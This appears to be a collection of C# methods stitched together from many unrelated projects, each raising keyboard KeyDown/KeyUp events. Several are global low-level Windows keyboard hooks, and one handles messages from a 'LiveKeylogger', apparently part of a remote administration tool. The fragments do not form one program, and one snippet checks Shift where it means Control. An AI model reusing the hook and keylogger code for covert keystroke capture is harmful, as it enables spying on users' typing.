static void Prefix()
{
//TODO: Maybe bring this back if I ever properly implement the config menu.
//if (Input.GetKeyDown(KeyCode.F5))
//{
// ConfigMenu.Instance.Show = !ConfigMenu.Instance.Show;
// UIManager.SomeOtherMenuIsOpen = ConfigMenu.Instance.Show;
// if (ConfigMenu.Instance.Show)
// {
// UIManager.UnlockMouseAndDisableFirstPersonLooking();
// }
// else
// {
// UIManager.LockMouseAndEnableFirstPersonLooking();
// }
//}
foreach (var key in KeyCodesToListenTo)
{
if ((Input.GetKeyDown(key.Key)) ||
(key.Repeat && Input.GetKey(key.Key) && Time.time - PressedTimes[key] >= key.RepeatInterval))
{
PressedTimes[key] = Time.time;
KeyDown?.Invoke(key.Key);
}
}
ModInput.UpdateListeners();
}
public void Update(GameTime gt)
{
KeyboardState keyboardState = KeyboardState;
Keys[] last = lastKeyboardState.GetPressedKeys();
Keys[] current = keyboardState.GetPressedKeys();
foreach (Keys key in current.Except(last))
{
KeyDown?.Invoke(this, new KeyEventArgs(key, keyboardState));
}
foreach (Keys key in last.Except(current))
{
KeyUp?.Invoke(this, new KeyEventArgs(key, keyboardState));
}
lastKeyboardState = KeyboardState;
MouseState mouseState = MouseState;
if (lastMouseState.LeftButton == ButtonState.Released && mouseState.LeftButton == ButtonState.Pressed)
{
MouseDown?.Invoke(this, new MouseEventArgs(MouseButtons.Left, mouseState));
}
if (lastMouseState.LeftButton == ButtonState.Pressed && mouseState.LeftButton == ButtonState.Released)
{
MouseUp?.Invoke(this, new MouseEventArgs(MouseButtons.Left, mouseState));
}
lastMouseState = mouseState;
}
public static void OnKeyDown(Keys key)
{
KeyDown.Invoke(key);
if (IsMenuBarActive)
{
MenuBar.OnKeyDown(key);
}
else
{
// Small workaround: if key is escape active widget is window
// Send it there
var topWidget = GetTopWidget();
var asWindow = topWidget as Window;
if (asWindow != null)
{
if (key == Keys.Escape)
{
asWindow.OnKeyDown(key);
}
var asDialog = asWindow as Dialog;
if (asDialog != null && key == Keys.Enter)
{
// Dialog also always receives Enter (Ok)
asWindow.OnKeyDown(key);
}
}
if (_focusedKeyboardWidget != null && _focusedKeyboardWidget.Active)
{
_focusedKeyboardWidget.OnKeyDown(key);
#if XENKO
var ch = key.ToChar(_downKeys.Contains(Keys.LeftShift) ||
_downKeys.Contains(Keys.RightShift));
if (ch != null)
{
_focusedKeyboardWidget.OnChar(ch.Value);
}
#endif
}
}
if (key == Keys.Escape && ContextMenu != null)
{
HideContextMenu();
}
#if MONOGAME
if (!HasExternalTextInput && !IsControlDown && !IsAltDown)
{
var c = key.ToChar(IsShiftDown);
if (c != null)
{
OnChar(c.Value);
}
}
#endif
}
public bool OnKeyDown(ModKeys modKeys, Keys keyCode, string srcElementTagName, string srcElementTypeName)
{
var args = new HotKeyDownEventArgs(modKeys, keyCode, srcElementTagName, srcElementTypeName);
KeyDown?.Invoke(null, args);
return(args.PreventDefault);
}
private void FileStatusListView_KeyDown(object sender, KeyEventArgs e)
{
switch (e.KeyCode)
{
case Keys.A:
{
if (!e.Control)
{
break;
}
FileStatusListView.BeginUpdate();
try
{
for (var i = 0; i < FileStatusListView.Items.Count; i++)
{
FileStatusListView.Items[i].Selected = true;
}
e.Handled = true;
}
finally
{
FileStatusListView.EndUpdate();
}
break;
}
default:
KeyDown?.Invoke(sender, e);
break;
}
}
private void KeyboardInputSource_KeyboardInput(object sender, RawKeyboardInputEventArgs e)
{
// only evaluate this event if it is actually intended for this device
//TODO: add some sort of conditional event invocation before this
if (e.Header.hDevice != DeviceHandle)
{
return;
}
VirtualKeys key = (VirtualKeys)e.Data.VirtualKey;
switch ((WM)e.Data.Message)
{
case WM.KEYDOWN:
{
KeyDown?.Invoke(this, new KeyInputEventArgs(key));
break;
}
case WM.KEYUP:
{
KeyUp?.Invoke(this, new KeyInputEventArgs(key));
break;
}
case WM.SYSKEYDOWN:
{
//TODO: syskeydown
break;
}
}
}
private int HookCallback(int code, IntPtr wParam, ref KBDLLHOOKSTRUCT lParam)
{
int result = 0;
try
{
if (!IsPaused && code >= 0)
{
if (wParam.ToInt32() == WM_SYSKEYDOWN || wParam.ToInt32() == WM_KEYDOWN)
{
KeyDown?.Invoke(this, new KeyboardHookEventArgs(lParam));
}
if (wParam.ToInt32() == WM_SYSKEYUP || wParam.ToInt32() == WM_KEYUP)
{
KeyUp?.Invoke(this, new KeyboardHookEventArgs(lParam));
}
}
}
finally
{
result = CallNextHookEx(IntPtr.Zero, code, wParam, ref lParam);
}
return(result);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
private IntPtr hookProc(int code, IntPtr wParam, ref NativeMethods.keyboardHookStruct lParam)
{
if (code >= 0)
{
Key key = KeyInterop.KeyFromVirtualKey(lParam.vkCode);
if (HookedKeys.Contains(key))
{
var wparam = wParam.ToInt64();
var args = new KeyHookEventArgs(key);
if ((wparam == NativeMethods.WM_KEYDOWN || wparam == NativeMethods.WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown.Invoke(this, args);
}
else if ((wparam == NativeMethods.WM_KEYUP || wparam == NativeMethods.WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp.Invoke(this, args);
}
if (args.Handled)
{
return(new IntPtr(1));
}
}
}
return(NativeMethods.CallNextHookEx(hhook, code, wParam, ref lParam));
}
private int HookProc(int code, int wParam, ref User32.KeyboardHookStruct lParam)
{
if (code < 0)
{
return(User32.CallNextHookEx(_hhook, code, wParam, ref lParam));
}
if (IsWindowsKeyPressed())
{
return(User32.CallNextHookEx(_hhook, code, wParam, ref lParam));
}
var key = (Keys)lParam.vkCode;
key = AddModifiers(key);
var kea = new KeyEventArgs(key);
if (wParam == User32.WM_KEYDOWN || wParam == User32.WM_SYSKEYDOWN)
{
KeyDown?.Invoke(this, kea);
}
else if (wParam == User32.WM_KEYUP || wParam == User32.WM_SYSKEYUP)
{
KeyUp?.Invoke(this, kea);
}
return(kea.Handled ? 1 : User32.CallNextHookEx(_hhook, code, wParam, ref lParam));
}
private void CoreDispatcher_AcceleratorKeyActivated(CoreDispatcher sender, AcceleratorKeyEventArgs e)
{
if ((e.EventType == CoreAcceleratorKeyEventType.SystemKeyDown ||
e.EventType == CoreAcceleratorKeyEventType.KeyDown))
{
var coreWindow = Windows.UI.Xaml.Window.Current.CoreWindow;
var downState = CoreVirtualKeyStates.Down;
var virtualKey = e.VirtualKey;
bool winKey = ((coreWindow.GetKeyState(VirtualKey.LeftWindows) & downState) == downState || (coreWindow.GetKeyState(VirtualKey.RightWindows) & downState) == downState);
bool altKey = (coreWindow.GetKeyState(VirtualKey.Menu) & downState) == downState;
bool controlKey = (coreWindow.GetKeyState(VirtualKey.Control) & downState) == downState;
bool shiftKey = (coreWindow.GetKeyState(VirtualKey.Shift) & downState) == downState;
// raise keydown actions
var keyDown = new KeyboardEventArgs
{
AltKey = altKey,
Character = ToChar(virtualKey, shiftKey),
ControlKey = controlKey,
EventArgs = e,
ShiftKey = shiftKey,
VirtualKey = virtualKey
};
try { KeyDown?.Invoke(keyDown); }
catch { }
// Handle F5 to refresh content
if (virtualKey == VirtualKey.F5)
{
bool noModifiers = !altKey && !controlKey && !shiftKey;
RefreshRequest?.Invoke(keyDown);
}
}
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int HookProc(int code, int wParam, ref KeyboardHookStruct lParam)
{
if (code >= 0)
{
try
{
bool isSysKey = (wParam == WM_SYSKEYDOWN || wParam == WM_SYSKEYUP);
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
{
bool isHeld = KeyPressStateArr[lParam.vkCode];
var keyArg = new RawKeyEventArgs(lParam.vkCode, isSysKey, isHeld);
KeyPressStateArr[lParam.vkCode] = true;
KeyDown?.Invoke(keyArg);
}
else if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
{
var keyArg = new RawKeyEventArgs(lParam.vkCode, isSysKey, false);
KeyPressStateArr[lParam.vkCode] = false;
KeyUp?.Invoke(keyArg);
}
}
catch
{
//noop
}
}
return(CallNextHookEx(_hhook, code, wParam, ref lParam));
}
private int KeybHookProc(int code, int w, int l)
{
if (code < 0)
{
return(CallNextHookEx(hookId, code, w, l));
}
try
{
var kEvent = (KeyEvents)w;
var vkCode = Marshal.ReadInt32((IntPtr)l);
switch (kEvent)
{
case KeyEvents.KeyDown:
case KeyEvents.SKeyDown:
KeyDown?.Invoke((Keys)vkCode, GetShiftPressed(), GetCtrlPressed(), GetAltPressed());
break;
case KeyEvents.KeyUp:
case KeyEvents.SKeyUp:
KeyUp?.Invoke((Keys)vkCode, GetShiftPressed(), GetCtrlPressed(), GetAltPressed());
break;
}
}
catch (Exception)
{
//Ignore all errors...
}
return(CallNextHookEx(hookId, code, w, l));
}
public void HandleKeyInputEvent(KeyEvent e)
{
if (e.Type == "keydown")
{
KeyDown?.Invoke(this, e);
}
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
Keys key = e.KeyCode;
if (key == Keys.LControlKey || key == Keys.RControlKey)
{
ctrl = true;
}
if (key == Keys.LMenu || key == Keys.RMenu)
{
alt = true;
}
if (key == Keys.LShiftKey || key == Keys.RShiftKey)
{
shift = true;
}
foreach (HotKeyToAction hotKeyToAction in HotKeys)
{
if (hotKeyToAction.HotKey.Match(key, ctrl, alt, shift))
{
KeyDown?.Invoke(sender, e, hotKeyToAction);
return;
}
}
}
public override void ResponseReceived(byte[] parameter)
{
switch ((LiveKeyloggerCommunication)parameter[0])
{
case LiveKeyloggerCommunication.StringDown:
StringDown?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1));
break;
case LiveKeyloggerCommunication.SpecialKeyDown:
KeyDown?.Invoke(this,
new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) })
.Deserialize <KeyLogEntry>(parameter, 1));
break;
case LiveKeyloggerCommunication.SpecialKeyUp:
KeyUp?.Invoke(this,
new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) })
.Deserialize <KeyLogEntry>(parameter, 1));
break;
case LiveKeyloggerCommunication.WindowChanged:
WindowChanged?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1));
break;
default:
throw new ArgumentOutOfRangeException();
}
}
public int HookProc(int code, int wParam, ref KeyBoardHookStruct lParam)
{
if (code >= 0)
{
var key = (Keys)lParam.VkCode;
if (HookedKeys.Contains(key))
{
var Arg = new KeyEventArgs(key);
switch (wParam)
{
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
KeyDown?.Invoke(this, Arg);
break;
case WM_KEYUP:
case WM_SYSKEYUP:
KeyUp?.Invoke(this, Arg);
break;
}
if (Arg.Handled)
{
return(1);
}
}
}
return(CallNextHookEx(Hook, code, wParam, ref lParam));
}
private void OnKeyEvent(KeyActivityEvent ev)
{
switch (ev.Action)
{
case KeyEventActions.Down:
{
Noesis.Key key = _keyTable[(int)ev.KeyCode];
if (key != Noesis.Key.None)
{
KeyDown?.Invoke(this, key);
}
if (ev.Char != 0)
{
Char?.Invoke(this, ev.Char);
}
break;
}
case KeyEventActions.Up:
{
Noesis.Key key = _keyTable[(int)ev.KeyCode];
if (key != Noesis.Key.None)
{
KeyUp?.Invoke(this, key);
}
break;
}
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
int vkCode = Marshal.ReadInt32(lParam);
Keys key = (Keys)vkCode;
var eventArgs = new KeyEventArgs(key);
if (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)260)
{
DownKeys.Add(key);
KeyDown?.Invoke(eventArgs);
}
else if (wParam == (IntPtr)WM_KEYUP)
{
DownKeys.Remove(key);
KeyUp?.Invoke(eventArgs);
}
if (eventArgs.Cancel)
{
return(new IntPtr(1));
}
}
return(CallNextHookEx(HookID, nCode, wParam, lParam));
}
internal override IntPtr Callback(int nCode, IntPtr wParam, IntPtr lParam)
{
var data = (KBDLLHOOKSTRUCT)PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
var ea = new LowLevelKeyboardProcEventArgs(data);
LowLevelKeyboardProc?.Invoke((WPARAM)wParam, ea);
switch ((WPARAM)wParam)
{
case WPARAM.WM_KEYDOWN:
KeyDown?.Invoke(ea);
break;
case WPARAM.WM_KEYUP:
KeyUp?.Invoke(ea);
break;
case WPARAM.WM_SYSKEYDOWN:
SysKeyDown?.Invoke(ea);
break;
case WPARAM.WM_SYSKEYUP:
SysKeyUp?.Invoke(ea);
break;
}
return(base.Callback(nCode, wParam, lParam));
}
protected virtual bool RaiseKeyDown(int virtualKeyCode)
{
var e = new KeyEventArgs((Keys)virtualKeyCode);
KeyDown?.Invoke(this, e);
return(e.Handled);
}
/// <summary>
/// Receives all KeyDown events, and checks if control is focused and
/// should receive event.
/// </summary>
/// <param name="args">Key event arguments.</param>
protected virtual void KeyDownIntercept(KeyEventArgs args)
{
if (this.guiManager.GetFocus() == this)
{
KeyDown.Invoke(args);
}
}
/// <summary>
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private static int KeyboardHookProc(int nCode, int wParam, IntPtr lParam)
{
var handled = false;
s_isDownBothShiftAndCtrlKeys = false;
if (0 <= nCode)
{
// read structure KeyboardHookStruct at lParam
var myKeyboardHookStruct =
(KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
// raise KeyPress
if (KeyPress != null && wParam == WmKeydown)
{
bool isDownShift = (GetKeyState(VkShift) & 0x8000) == 0x8000 ? true : false;
// bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
bool isDownControl = (GetKeyState(VkControl) & 0x8000) == 0x8000 ? true : false;
if (isDownControl && isDownShift)
{
s_isDownBothShiftAndCtrlKeys = true;
}
}
if (KeyDown != null && (wParam == WmKeydown || wParam == WmSyskeydown))
{
var keyData = (Keys)myKeyboardHookStruct.VirtualKeyCode;
if (s_isDownBothShiftAndCtrlKeys)
{
if (Keys.V == keyData)
{
KeyDown.Invoke(null, null);
}
}
}
// raise KeyUp
if (KeyUp != null && (wParam == WmKeyup || wParam == WmSyskeyup))
{
s_isDownBothShiftAndCtrlKeys = false;
var keyData = (Keys)myKeyboardHookStruct.VirtualKeyCode;
var e = new KeyEventArgs(keyData);
// s_KeyUp.Invoke(null, e);
handled = e.Handled;
}
}
// if event handled in application do not handoff to other listeners
if (handled)
{
return(-1);
}
// forward to other application
return(CallNextHookEx(s_KeyboardHookHandle, nCode, wParam, lParam));
}
private static int HookProc(int code, int wParam, ref KeyboardHookStruct lParam)
{
if (code >= 0)
{
if (wParam == WMKEYDOWN || wParam == WMKEYUP)
{
byte[] keyboardState = new byte[256];
int result = GetKeyboardState(keyboardState);
var downKeys = (from virtualKey in DistinctVirtualKeys
where (GetKeyState(virtualKey) & 0x80) != 0
select(Keys) KeyInterop.VirtualKeyFromKey(KeyInterop.KeyFromVirtualKey(virtualKey))).ToList();
foreach (var downKey in downKeys)
{
if (!LastKeysPressed.Contains(downKey))
{
KeyDown?.Invoke(null, new KeyEventArgs(downKey));
LastKeysPressed.Add(downKey);
}
}
List <Keys> keysToRemove = new List <Keys>();
foreach (var key in LastKeysPressed)
{
if (!downKeys.Contains(key))
{
KeyUp?.Invoke(null, new KeyEventArgs(key));
keysToRemove.Add(key);
}
}
LastKeysPressed.RemoveAll(k => keysToRemove.Contains(k));
}
}
return(CallNextHookEx(Hhook, code, wParam, ref lParam));
}
public void Update()
{
var keyboardState = _keyboard.GetState();
var pressedKeys = keyboardState.GetPressedKeys().ToHashSet();
var previousPressedKeys = _previousKeyboardState.GetPressedKeys().ToHashSet();
if (KeyUp != null)
{
foreach (var key in previousPressedKeys)
{
if (!pressedKeys.Contains(key))
{
KeyUp.Invoke(this, new KeyEventArgs(key));
}
}
}
if (KeyDown != null)
{
foreach (var key in pressedKeys)
{
if (!previousPressedKeys.Contains(key))
{
KeyDown.Invoke(this, new KeyEventArgs(key));
}
}
}
_previousKeyboardState = keyboardState;
}
private void DeviceOnKeyboardInput(object sender, KeyboardInputEventArgs e)
{
if ((int)e.Key == 255)
{
// discard "fake keys" which are part of an escaped sequence
return;
}
KeyUtils.CorrectRawInputData(e);
//Debug.WriteLine($"RawInput {e.Key} {e.MakeCode} {e.ScanCodeFlags} {e.GetDeviceKey()}", "InputEvents");
if (e.ScanCodeFlags.HasFlag(ScanCodeFlags.Break))
{
pressedKeySequence.RemoveAll(k => k == e.Key);
KeyUp?.Invoke(sender, e);
}
else
{
if (!pressedKeySequence.Contains(e.Key))
{
pressedKeySequence.Add(e.Key);
}
KeyDown?.Invoke(sender, e);
}
}
private static int KeyboardCallBack(int code, WinAPI.User32.WindowsMessage wParam, ref WinAPI.User32.KeyboardHookStruct lParam)
{
// Если code < 0, мы не должны обрабатывать это сообщение системы
if (code >= 0)
{
var key = KeyInterop.KeyFromVirtualKey((int)lParam.VKCode);
KeyEventArgsCustom eventArgs = new KeyEventArgsCustom(key);
// В зависимости от типа пришедшего сообщения вызовем то или иное событие
if (lParam.dwExtraInfo == IntPtr.Zero)
{
switch (wParam)
{
case WinAPI.User32.WindowsMessage.KeyDown:
case WinAPI.User32.WindowsMessage.SysKeyDown:
KeyDown?.Invoke(null, eventArgs);
break;
case WinAPI.User32.WindowsMessage.KeyUp:
case WinAPI.User32.WindowsMessage.SysKeyUp:
KeyUp?.Invoke(null, eventArgs);
break;
}
}
// Если событие помечено приложением как обработанное,
// прервём дальнейшее распространение сообщения
if (eventArgs.Handled)
{
return(1);
}
}
// Вызовем следующий обработчик
return(WinAPI.User32.CallNextHookEx(_keyboardHookHandle, code, wParam, ref lParam));
}
public void KeyCallback(int key, int action, int scancode)
{
Keys k = IntToKeys(key);
//Console.WriteLine(k.ToString() + " " + (action == 1 ? "PRESSED" : "LIFTED"));
if (key >= (int)SpecialKeys.D0 && key <= (int)SpecialKeys.D9)
{
LastNumberKey = key - (int)SpecialKeys.D0;
}
//ignores numlock
else if (key >= (int)SpecialKeys.NP0 && key <= (int)SpecialKeys.NP9)
{
LastNumberKey = key - (int)SpecialKeys.NP0;
}
else if (key >= 65 && key <= 90)
{
LastLetterKey = char.ToLower((char)key);
}
else if (key >= 32 && key <= 127)
{
LastLetterKey = (char)key;
}
LastKey = (char)key;
if (action == 1)
{
KeyDown.Invoke(k, this);
}
if (action == 0)
{
KeyUp.Invoke(k, this);
}
}
private void CoreDispatcher_AcceleratorKeyActivated(CoreDispatcher sender, AcceleratorKeyEventArgs args)
{
if (args.EventType.ToString().Contains("Down") && !args.Handled)
{
var alt = (Window.Current.CoreWindow.GetKeyState(VirtualKey.Menu) & CoreVirtualKeyStates.Down) == CoreVirtualKeyStates.Down;
var shift = (Window.Current.CoreWindow.GetKeyState(VirtualKey.Shift) & CoreVirtualKeyStates.Down) == CoreVirtualKeyStates.Down;
var control = (Window.Current.CoreWindow.GetKeyState(VirtualKey.Shift) & CoreVirtualKeyStates.Down) == CoreVirtualKeyStates.Down;
var windows = ((Window.Current.CoreWindow.GetKeyState(VirtualKey.LeftWindows) & CoreVirtualKeyStates.Down) == CoreVirtualKeyStates.Down) || ((Window.Current.CoreWindow.GetKeyState(VirtualKey.RightWindows) & CoreVirtualKeyStates.Down) == CoreVirtualKeyStates.Down);
var character = ToChar(args.VirtualKey, shift);
var keyDown = new KeyboardEventArgs
{
AltKey = alt,
Character = character,
ControlKey = control,
EventArgs = args,
ShiftKey = shift,
VirtualKey = args.VirtualKey
};
try { KeyDown?.Invoke(keyDown); }
finally
{
args.Handled = keyDown.Handled;
}
}
}
public virtual void OnKeyDown(KeyEventArgs e)
{
if (!_enabled)
{
return;
}
if (Controls != null)
{
for (int i = Controls.Count - 1; i >= 0; i--)
{
if (e.Handled)
{
return;
}
else
{
Controls[i].OnKeyDown(e);
}
}
}
if (KeyDown == null)
{
return;
}
KeyDown.Invoke(this, e);
}
public virtual void OnKeyDown(KeyEventArgs e)
{
if (!_Enabled)
{
return;
}
if (Controls != null)
{
for (int I = Controls.Count - 1; I >= 0; I--)
{
if (e.Handled)
{
return;
}
else
{
Controls[I].OnKeyDown(e);
}
}
}
if (KeyDown != null)
{
KeyDown.Invoke(this, e);
return;
}
}
